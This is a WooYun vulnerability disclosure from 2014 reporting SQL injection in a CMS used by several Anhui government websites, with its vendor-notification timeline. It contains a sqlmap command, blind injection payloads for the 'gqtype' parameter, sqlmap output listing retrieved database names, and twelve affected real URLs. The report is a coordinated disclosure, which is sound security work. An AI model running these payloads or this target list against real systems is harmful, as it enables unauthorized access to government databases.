当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-073512

漏洞标题:安徽某CMS存在SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: 大大灰狼

提交时间:2014-08-25 16:33

修复时间:2014-10-09 16:34

公开时间:2014-10-09 16:34

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-25: 细节已通知厂商并且等待厂商处理中
2014-08-30: 厂商已经确认,细节仅向厂商公开
2014-09-09: 细节向核心白帽子及相关领域专家公开
2014-09-19: 细节向普通白帽子公开
2014-09-29: 细节向实习白帽子公开
2014-10-09: 细节向公众公开

简要描述:

大量政府网站受影响,随机测试了12家。

详细说明:

sqlmap.py -u http://bb.ahnw.gov.cn/aspx/gqxx.aspx?gqtype=1 --dbs
共32个数据库

---
Place: GET
Parameter: gqtype
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: gqtype=1 AND 6952=6952
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: gqtype=-2676 OR 3925=(SELECT COUNT(*) FROM sysusers AS sys1,sysuser
s AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sy
susers AS sys7)
---
[20:57:45] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 4.0.30128
back-end DBMS: Microsoft SQL Server 2012
[20:57:45] [INFO] fetching database names
[20:57:45] [INFO] fetching number of databases
[20:57:45] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[20:57:45] [INFO] retrieved:
[20:57:46] [WARNING] reflective value(s) found and filtering out
32
[20:57:55] [INFO] retrieved: ahcs.com.cn
[20:59:21] [INFO] retrieved: ahnjh.gov.cn
[21:01:34] [INFO] retrieved: ahnjh.gov.cn_sx
[21:04:05] [INFO] retrieved: ahnw
[21:04:36] [INFO] retrieved: ahnw.gov.cn_2009nj
[21:07:27] [INFO] retrieved: ahnw.gov.cn_CountyOA
[21:10:22] [INFO] retrieved: ahnw.gov.cn_education
[21:13:22] [INFO] retrieved: ahnw.gov.cn_hfnjh
[21:15:33] [INFO] retrieved: ahnw.gov.cn_statics
[21:18:15] [INFO] retrieved: ahxf.gov.cn_ah_village
[21:21:01] [INFO] retrieved: ahxf.gov.cn_Party_XXG
[21:25:11] [INFO] retrieved: ahxf.gov.cn_partyEdu
[21:28:19] [INFO] retrieved: ahyy.org.cn
[21:29:56] [INFO] retrieved: aisc.org.cn
[21:31:18] [INFO] retrieved: aq.ahxf.gov.cn
[21:33:07] [INFO] retrieved: bbs.ahnw.gov.cn
[21:35:19] [INFO] retrieved: blog.ahnw.gov.cn
[21:37:19] [INFO] retrieved: bt2013.ahnjh.gov.cn


经测试,受影响的站点URL:
http://xc.ahnw.gov.cn/aspx/gqxx.aspx?gqtype=1
http://hn.ahnw.gov.cn/aspx/gqxx.aspx?gqtype=1
http://bb.ahnw.gov.cn/aspx/gqxx.aspx?gqtype=1
http://szsx.ahnw.gov.cn/aspx/gqxx.aspx/gqxx.aspx?gqtype=1
http://chz.ahnw.gov.cn/aspx/gqxx.aspx?gqtype=1
http://qy.ahnw.gov.cn/aspx/gqxx.aspx?gqtype=1
http://szlb.ahnw.gov.cn/aspx/gqxx.aspx/gqxx.aspx?gqtype=1
http://bz.ahnw.gov.cn/aspx/gqxx.aspx/gqxx.aspx?gqtype=1
http://tl.ahnw.gov.cn/aspx/gqxx.aspx?gqtype=1
http://sc.ahnw.gov.cn/aspx/gqxx.aspx?gqtype=1
http://hsnw.ahnw.gov.cn/aspx/gqxx.aspx?gqtype=1
http://la.ahnw.gov.cn/aspx/gqxx.aspx?gqtype=1

漏洞证明:

---
Place: GET
Parameter: gqtype
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: gqtype=1 AND 6952=6952
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: gqtype=-2676 OR 3925=(SELECT COUNT(*) FROM sysusers AS sys1,sysuser
s AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sy
susers AS sys7)
---
[20:57:45] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 4.0.30128
back-end DBMS: Microsoft SQL Server 2012
[20:57:45] [INFO] fetching database names
[20:57:45] [INFO] fetching number of databases
[20:57:45] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[20:57:45] [INFO] retrieved:
[20:57:46] [WARNING] reflective value(s) found and filtering out
32
[20:57:55] [INFO] retrieved: ahcs.com.cn
[20:59:21] [INFO] retrieved: ahnjh.gov.cn
[21:01:34] [INFO] retrieved: ahnjh.gov.cn_sx
[21:04:05] [INFO] retrieved: ahnw
[21:04:36] [INFO] retrieved: ahnw.gov.cn_2009nj
[21:07:27] [INFO] retrieved: ahnw.gov.cn_CountyOA
[21:10:22] [INFO] retrieved: ahnw.gov.cn_education
[21:13:22] [INFO] retrieved: ahnw.gov.cn_hfnjh
[21:15:33] [INFO] retrieved: ahnw.gov.cn_statics
[21:18:15] [INFO] retrieved: ahxf.gov.cn_ah_village
[21:21:01] [INFO] retrieved: ahxf.gov.cn_Party_XXG
[21:25:11] [INFO] retrieved: ahxf.gov.cn_partyEdu
[21:28:19] [INFO] retrieved: ahyy.org.cn
[21:29:56] [INFO] retrieved: aisc.org.cn
[21:31:18] [INFO] retrieved: aq.ahxf.gov.cn
[21:33:07] [INFO] retrieved: bbs.ahnw.gov.cn
[21:35:19] [INFO] retrieved: blog.ahnw.gov.cn
[21:37:19] [INFO] retrieved: bt2013.ahnjh.gov.cn

修复方案:

过滤参数

版权声明:转载请注明来源 大大灰狼@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-08-30 12:27

厂商回复:

最新状态:

暂无


漏洞评价:

评论